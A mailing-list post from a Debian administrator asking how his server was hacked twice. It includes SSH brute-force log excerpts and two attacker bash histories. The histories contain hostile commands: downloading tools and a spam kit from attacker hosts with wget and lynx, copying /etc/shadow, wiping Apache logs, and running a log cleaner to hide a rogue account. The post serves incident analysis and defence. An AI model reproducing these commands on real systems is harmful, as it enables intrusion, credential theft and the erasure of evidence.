Hi. A server I take care of has been hacked twice in the last three days. It is running Debian GNU/Linux, obviously. I ask you for advice on how this happened, what happened, and what to do to avoid this.
The first hack happened on Tuesday, the machine was runnign Debian 3.0 plus patches *but* still Linux 2.4.18 (Debian package). A log snippet of auth.log is attached (auth.log-1), I think it was a brute-force attack on SSH finding a weak password (there are 7 users on the machine, five have their login shell set to scponly, remote root logins not allowed). Then the attacker gained root privileges, possibly through a local root exploit in the kernel. Then the attacker created a new user (called "morris") and logged in as that user, uploaded a few files and started some spam sending robot. When we stopped this, there were still some 25000 mails in the queue (rough counting on mail.log shows ~136000 mails), and someone had already complained to SpamCop. The mails were directed at targets mostly in Brazil, and were in what I think must be spanish or portuguese. Obviously some more things had been changed, things like ls did segfault, upon login a bunch of errors was shown like -bash: [: !=: unary operator expected -bash: [: too many arguments The attacker wasn't too careful to remove his traces, it seems to me, attached is the bash history file as bash_history-1. We had a backup from Sunday night, so we had it reinstalled from scratch (Debian 3.1), put back the backup (no binaries, just MySQL data and webserver documents). All passwords got changed to new ones (generated with pwgen), the kernel was now 2.6.7 (again a Debian package). Now there were even fewer programs on the machine, no compiler, just the bare minimum needed. This morning it was hacked, *again*. By the same people/person. Again "morris", again a try to send spam (that didn't work out it seems). This time he removed some traces (edited auth.log), as can be seen in the bash history file (bash_history-2). The errors (ls segfaulting, login bash errors, ...) are the same as before. This time I noticed the directory named ".. " and fetched the two tools he used ("l" and "h" in the history file). "l" is a log cleaning tool from http://www.nosystem.com.ar/programas/logclean.c What "h" is, I cannot tell. How could I find out? I found another binary, and this is probably how he got root the second time, using the k-rad.c kernel exploit (http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0736). Hm. Seems as if there is no fixed kernel package... This time I didn't reinstall (yet), as Apache and MySQL run fine. Instead I locked down the server (SSH only accepting key logins, running on a different port; user morris removed; the changed password for "deamon" set back). Anything else I should save for later use before reinstallling? Now, I find it unlikely to see the same local root exploit in 2.4.18 and 2.6.7. How did he gain root access? Are pwgen-passwords with 8 chars, containing upper/lower case and numbers really that insecure? What should I do to prevent such things in the future? Thanks for any help you can offer. Karsten PS: I said I don't consider myself a newbie. I am taking care of Linux machines running as web and mail servers since 1999 now, that's why. Maybe I'm wrong. -- This email is ROT26 encrypted, by reading it you are in violation of the DMCA, and should turn yourself in to the authorities immediately. (Chris Berry)
... hundreds of lines for the last 4 minutes 30 seconds Jul 19 03:07:30 ds217-115-141-24 sshd[27011]: Illegal user anton from 217.115.205.101 Jul 19 03:07:30 ds217-115-141-24 sshd[27011]: error: Could not get shadow information for NOUSER Jul 19 03:07:30 ds217-115-141-24 sshd[27011]: Failed password for illegal user anton from 217.115.205.101 port 46805 ssh2 Jul 19 03:07:30 ds217-115-141-24 sshd[27013]: Illegal user gary from 217.115.205.101 Jul 19 03:07:30 ds217-115-141-24 sshd[27013]: error: Could not get shadow information for NOUSER Jul 19 03:07:30 ds217-115-141-24 sshd[27013]: Failed password for illegal user gary from 217.115.205.101 port 46872 ssh2 Jul 19 03:07:31 ds217-115-141-24 sshd[27015]: Illegal user nemesis from 217.115.205.101 Jul 19 03:07:31 ds217-115-141-24 sshd[27015]: error: Could not get shadow information for NOUSER Jul 19 03:07:31 ds217-115-141-24 sshd[27015]: Failed password for illegal user nemesis from 217.115.205.101 port 46935 ssh2 Jul 19 03:07:31 ds217-115-141-24 sshd[27017]: Illegal user shadow from 217.115.205.101 Jul 19 03:07:31 ds217-115-141-24 sshd[27017]: error: Could not get shadow information for NOUSER Jul 19 03:07:31 ds217-115-141-24 sshd[27017]: Failed password for illegal user shadow from 217.115.205.101 port 46986 ssh2 Jul 19 03:07:31 ds217-115-141-24 sshd[27019]: Illegal user cisco from 217.115.205.101 Jul 19 03:07:31 ds217-115-141-24 sshd[27019]: error: Could not get shadow information for NOUSER Jul 19 03:07:31 ds217-115-141-24 sshd[27019]: Failed password for illegal user cisco from 217.115.205.101 port 47041 ssh2 ... here we have him. creating a new user. Jul 19 03:37:11 ds217-115-141-24 groupadd[27206]: new group: name=morris, gid=1009 Jul 19 03:37:12 ds217-115-141-24 useradd[27207]: new user: name=morris, uid=1009, gid=1009, home=/home/morris, shell=/bin/bash Jul 19 03:37:19 ds217-115-141-24 passwd[27210]: (pam_unix) password changed for morris Jul 19 03:37:19 ds217-115-141-24 passwd[27210]: (pam_unix) Password for morris was changed Jul 19 03:37:29 ds217-115-141-24 chfn[27211]: changed user `morris' information Jul 19 03:39:18 ds217-115-141-24 sshd[27228]: reverse mapping checking getaddrinfo for 201-002-151-194.erece203.dial.brasiltelecom.net.br failed - POSSIBLE BREAKIN ATTEMPT! Jul 19 03:39:22 ds217-115-141-24 sshd[27228]: Accepted keyboard-interactive/pam for morris from 201.2.151.194 port 1312 ssh2 Jul 19 03:39:22 ds217-115-141-24 sshd[27232]: (pam_unix) session opened for user morris by (uid=0) Jul 19 03:42:46 ds217-115-141-24 sshd[27267]: Did not receive identification string from 221.136.216.2 Jul 19 03:44:49 ds217-115-141-24 passwd[27276]: (pam_unix) password changed for daemon Jul 19 03:44:49 ds217-115-141-24 passwd[27276]: (pam_unix) Password for daemon was changed ... another ony trying to get in. Jul 19 03:51:13 ds217-115-141-24 sshd[27341]: Failed password for root from 221.136.216.2 port 43905 ssh2 Jul 19 03:51:21 ds217-115-141-24 sshd[27343]: Illegal user fluffy from 221.136.216.2 Jul 19 03:51:21 ds217-115-141-24 sshd[27343]: error: Could not get shadow information for NOUSER Jul 19 03:51:21 ds217-115-141-24 sshd[27343]: Failed password for illegal user fluffy from 221.136.216.2 port 44025 ssh2 Jul 19 03:51:29 ds217-115-141-24 sshd[27345]: Illegal user admin from 221.136.216.2 Jul 19 03:51:29 ds217-115-141-24 sshd[27345]: error: Could not get shadow information for NOUSER Jul 19 03:51:29 ds217-115-141-24 sshd[27345]: Failed password for illegal user admin from 221.136.216.2 port 44131 ssh2 Jul 19 03:51:39 ds217-115-141-24 sshd[27350]: Illegal user test from 221.136.216.2 Jul 19 03:51:39 ds217-115-141-24 sshd[27350]: error: Could not get shadow information for NOUSER Jul 19 03:51:39 ds217-115-141-24 sshd[27350]: Failed password for illegal user test from 221.136.216.2 port 44241 ssh2 Jul 19 03:51:48 ds217-115-141-24 sshd[27352]: Illegal user guest from 221.136.216.2 Jul 19 03:51:48 ds217-115-141-24 sshd[27352]: error: Could not get shadow information for NOUSER Jul 19 03:51:48 ds217-115-141-24 sshd[27352]: Failed password for illegal user guest from 221.136.216.2 port 44379 ssh2 Jul 19 03:51:56 ds217-115-141-24 sshd[27354]: Illegal user webmaster from 221.136.216.2 Jul 19 03:51:56 ds217-115-141-24 sshd[27354]: error: Could not get shadow information for NOUSER Jul 19 03:51:56 ds217-115-141-24 sshd[27354]: Failed password for illegal user webmaster from 221.136.216.2 port 44513 ssh2 Jul 19 03:52:01 ds217-115-141-24 sshd[27356]: Failed password for mysql from 221.136.216.2 port 44616 ssh2 ... and again morris. Jul 19 03:59:55 ds217-115-141-24 passwd[27428]: (pam_unix) password changed for morris Jul 19 03:59:55 ds217-115-141-24 passwd[27428]: (pam_unix) Password for morris was changed Jul 19 04:08:06 ds217-115-141-24 sshd[27228]: syslogin_perform_logout: logout() returned an error Jul 19 04:08:08 ds217-115-141-24 sshd[27232]: (pam_unix) session closed for user morris ... Jul 19 04:09:07 ds217-115-141-24 sshd[27509]: reverse mapping checking getaddrinfo for 201-10-20-103.paemt704.dsl.brasiltelecom.net.br failed - POSSIBLE BREAKIN ATTEMPT! Jul 19 04:09:10 ds217-115-141-24 sshd[27509]: Accepted keyboard-interactive/pam for morris from 201.10.20.103 port 2258 ssh2 Jul 19 04:09:10 ds217-115-141-24 sshd[27513]: (pam_unix) session opened for user morris by (uid=0) Jul 19 04:17:45 ds217-115-141-24 sshd[28854]: reverse mapping checking getaddrinfo for 201-10-20-103.paemt704.dsl.brasiltelecom.net.br failed - POSSIBLE BREAKIN ATTEMPT! Jul 19 04:17:49 ds217-115-141-24 sshd[28854]: Accepted keyboard-interactive/pam for morris from 201.10.20.103 port 2278 ssh2 Jul 19 04:17:49 ds217-115-141-24 sshd[29089]: (pam_unix) session opened for user morris by (uid=0) ... and here I had removed the user Jul 19 11:25:45 ds217-115-141-24 sshd[27509]: fatal: login_init_entry: Cannot find user "morris" Jul 19 11:25:45 ds217-115-141-24 sshd[28854]: fatal: login_init_entry: Cannot find user "morris"
rm hah.c chattr + h chattr +i h wget 201.2.151.194/l chmod +x l ./l -u morris w pstree killall -9 l ps auxw cat /etc/passwd | less passwd daemon cd /var/tmp ls ls ls /var/tmp dir dir php -q php -v wget 201.2.151.194/ls chmdo 777 ls chmod 777 ls ./ls rm ls cd ".. " wget 201.2.151.194/spam.zip unzip spam.zip php -q igr.txt "MIcrosfot teste" [EMAIL PROTECTED] "Atualizar WinXP" email.txt teste.txt perl env.pl "Bill Gaytes perl" "[EMAIL PROTECTED]" "Huahaha soh teste" email.txt teste.txt passwd morris exit
ls rm h.c pstree cd /var/log ls cd apache ls echo >access.log echo >error.log tail *.log wc -l *.loc wc -l *.log cd /root ls pico .bash_history ls cd / ls cat /etc/fstab ls cd restore ls cd etc ls wc -l passwd /etc/passwd wc -l shadow /etc/shadow cat /etc/shadow >./shadow cat /etc/passwd >./passwd wc -l passwd /etc/passwd til /etc/passwd tail /etc/passwd cat /etc/passwd passwd daemon cat /etc/shadow >./shadow cat ./shadow cd /var/log ls pico auth.log ls pico messages cd /root ls uname -a id;uname -a w cd /opt/".. " ls lynx -source fuck.winconnection.net/l > l chattr +i h;chmod +x l ./l ./l -u morris w ps auxw killall -9 l pstree cd /root/ ls cd /var/www/[some site]/logs/ ls dir wc -l * cd 2005 ls wc -l * su nobody exit ./l -u morris cd /var/log ls dir pico auth.og pico auth.log exit